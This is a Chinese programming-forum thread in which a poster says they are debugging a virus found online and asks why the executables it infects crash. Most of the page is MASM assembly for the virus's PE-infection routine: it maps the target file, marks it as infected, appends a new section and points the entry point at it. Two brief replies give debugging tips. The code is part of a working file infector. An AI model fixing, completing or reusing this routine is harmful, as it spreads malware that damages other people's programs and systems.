首页 诗词 字典 板报 句子 名言 友答 励志 学校 网站地图
当前位置: 首页 > 教程频道 > 嵌入开发 > 汇编语言 >

●指点●调试网上的●病毒●不知感染PE文件得那部分有有关问题

2012-02-12 
●请教高手指点●调试网上的●病毒●,不知感染PE文件得那部分有问题,究竟是我感染病毒的那部分代码有问题呢?、

●请教高手指点●调试网上的●病毒●,不知感染PE文件得那部分有问题,
究竟是我感染病毒的那部分代码有问题呢?、请高手指点、万分感谢

运行被感染的exe文件后,老提示错误如下:

|======================================================================|
|xxx.exe 遇到问题需要关闭。我门对此引起的不便表示抱歉 |
|----------------------------------|
|如果您正处于进程当中,信息有可能丢失。 |
| |
| |
|请将此问题报告给 Microsoft。 |
|我们已经创建了一个错误报告,您可以将它发送给我们。我们将 |
|此报告视为保密的和匿名的。 |
| |
|要查看这个错误报告包涵的数据, 请单击此处 |
| |
| -------------------- ------- |
| | 发送错误报告 (s) | |不发送 | |
| -------------------- ------- |
=======================================================================

病毒操作文件得部分代码如下
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;createmapping
push 0
push 0
push 0
push PAGE_READWRITE
push 0
mov eax,hFile[ebp]
push eax
call CreateFileMapping_addr[ebp]
cmp eax,0
jz createMapfail
mov hMap[ebp],eax
;;;;;;;;;;;;;;Mapviewoffile
push 0
push 0
push 0
push FILE_MAP_ALL_ACCESS
mov eax,hMap[ebp]
push eax
call MapViewOfFile_addr[ebp]
cmp eax,0
jz Mappingfail
mov pMem[ebp],eax
;;;;;;;;;;;;;;;ok,go on
mov edi, eax;<---------------weishenme yong edi?
assume edi:ptr IMAGE_DOS_HEADER 
cmp [edi].e_magic,IMAGE_DOS_SIGNATURE 
jnz Notinfect

add edi, [edi].e_lfanew
assume edi:ptr IMAGE_NT_HEADERS
cmp [edi].Signature,IMAGE_NT_SIGNATURE;
jnz Notinfect
;MOVZX  
movzx eax,[edi].FileHeader.NumberOfSections;
dec eax  
mov ecx,sizeof IMAGE_SECTION_HEADER;
mul ecx ;

push edi ;
pop esi ;
assume esi:ptr IMAGE_NT_HEADERS;;
add edi,sizeof IMAGE_NT_HEADERS;
add edi,eax  
assume edi:ptr IMAGE_SECTION_HEADER
cmp [edi].NumberOfRelocations,02103h;
jz Notinfect;
add edi,sizeof IMAGE_SECTION_HEADER;;

movzx ebx,[esi].FileHeader.NumberOfSections
inc ebx  
mov eax,sizeof IMAGE_SECTION_HEADER
mul ebx;

mov ebx,pMem[ebp];
assume ebx:ptr IMAGE_DOS_HEADER
mov ecx,[ebx].e_lfanew ;
add ecx,sizeof IMAGE_NT_HEADERS ;
add ecx,eax;;

cmp ecx,[esi].OptionalHeader.SizeOfHeaders;
jge Notinfect
mov eax, [esi].OptionalHeader.AddressOfEntryPoint ;
mov Old_AddressOfEntryPoint[ebp], eax  
mov eax, [esi].OptionalHeader.ImageBase
mov Old_ImageBase[ebp], eax;


mov dwMySectionOffSet[ebp], edi;
push esi  
mov esi,edi  
sub esi,sizeof IMAGE_SECTION_HEADER;
pop ebx ;
assume esi:ptr IMAGE_SECTION_HEADER;last
assume edi:ptr IMAGE_SECTION_HEADER;new
assume ebx:ptr IMAGE_NT_HEADERS;nthead

;---------------------begin prepare the newsectioon;;;;;;;;;;;;;;;;;;
mov dword ptr [edi].Name1, "PG.";
mov [edi].Misc.VirtualSize, offset vend - offset vstart ;


;;;;sizeofrawdata/vitrualaddress/pointertorawdata
push [ebx].OptionalHeader.SizeOfImage ;

pop [edi].VirtualAddress;;;;;;

mov eax,[edi].Misc.VirtualSize 


mov [edi].SizeOfRawData,eax  
   
mov eax,[esi].SizeOfRawData  

add eax,[esi].PointerToRawData  
mov [edi].PointerToRawData,eax  
mov [edi].PointerToRelocations, 0  
mov [edi].PointerToLinenumbers, 0 ;
mov dword ptr [edi].NumberOfRelocations, 02103h ;;
mov dword ptr [edi].NumberOfLinenumbers,0h

;code/data/execute/read/write/inited data/un-inited data??
mov [edi].Characteristics, 0E00000e0h;read,write........Characteristics?﨑晳????????簑????????

;**************************************************
;change SizeOfImage &AddressOfEntryPoint
;**************************************************
inc [ebx].FileHeader.NumberOfSections ;;


mov eax, [edi].VirtualAddress ;
mov [ebx].OptionalHeader.AddressOfEntryPoint, eax ;
  ;;;;;;;;;;;;;;;;;;;;;;;;maybe add this will make programme prefect!!!!!!!!!!!!
  mov [ebx].OptionalHeader.DataDirectory[11].VirtualAddress,0
;;;;;;;;;;;SIZEOFIMAGE!!!!!!!!!!!!!!!!!!!!!!!!!!!
;;;new
mov eax,[edi].Misc.VirtualSize
mov ecx,[ebx].OptionalHeader.SectionAlignment;1000h
div ecx
inc eax
mul ecx
add eax,[ebx].OptionalHeader.SizeOfImage
mov [ebx].OptionalHeader.SizeOfImage,eax
;;;;new end
;;;;oldcode
;mov eax,[edi].Misc.VirtualSize
;mov ecx,[edi].VirtualAddress
;add eax,ecx 
;mov [ebx].OptionalHeader.SizeOfImage,eax





[解决办法]
不用edi也行啊
[解决办法]
用ollydbg调试出错的exe,如果无法中断则使用early break选项。

热点排行